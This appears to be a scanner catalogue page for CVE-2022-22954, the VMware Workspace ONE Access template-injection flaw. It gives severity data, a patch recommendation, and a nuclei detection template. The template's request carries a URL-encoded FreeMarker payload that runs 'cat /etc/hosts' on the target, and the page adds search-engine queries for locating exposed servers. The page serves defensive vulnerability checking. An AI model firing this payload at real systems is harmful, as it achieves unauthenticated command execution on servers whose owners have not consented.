VMware Workspace ONE Access - Server-Side Template Injection

Exploited in the wild. Listed by CISA on 2022-04-14; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

VMware Workspace ONE Access is susceptible to a remote code execution vulnerability due to a server-side template injection flaw. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager.

Impact

Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.

Fix

Apply the latest security patches provided by VMware to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%…
Positive when: contains "Authorization context is not valid" AND status 400

Run it with nuclei: nuclei -id CVE-2022-22954 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-22954

info:
  name: VMware Workspace ONE Access - Server-Side Template Injection
  author: sherlocksecurity
  severity: critical
  description: |
    VMware Workspace ONE Access is susceptible to a remote code execution vulnerability due to a server-side template injection flaw. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011
    - https://www.vmware.com/security/advisories/VMSA-2022-0011.html
    - http://packetstormsecurity.com/files/166935/VMware-Workspace-ONE-Access-Template-Injection-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22954
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22954
    cwe-id: CWE-94
    epss-score: 0.99998
    epss-percentile: 0.9999
    cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: identity_manager
    shodan-query: http.favicon.hash:-1250474341
    fofa-query:
      - icon_hash=-1250474341
      - app="vmware-workspace-one-access" || app="vmware-identity-manager" || app="vmware-vrealize"
  tags: cve2022,cve,workspaceone,kev,tenable,packetstorm,vmware,ssti,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Authorization context is not valid"

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from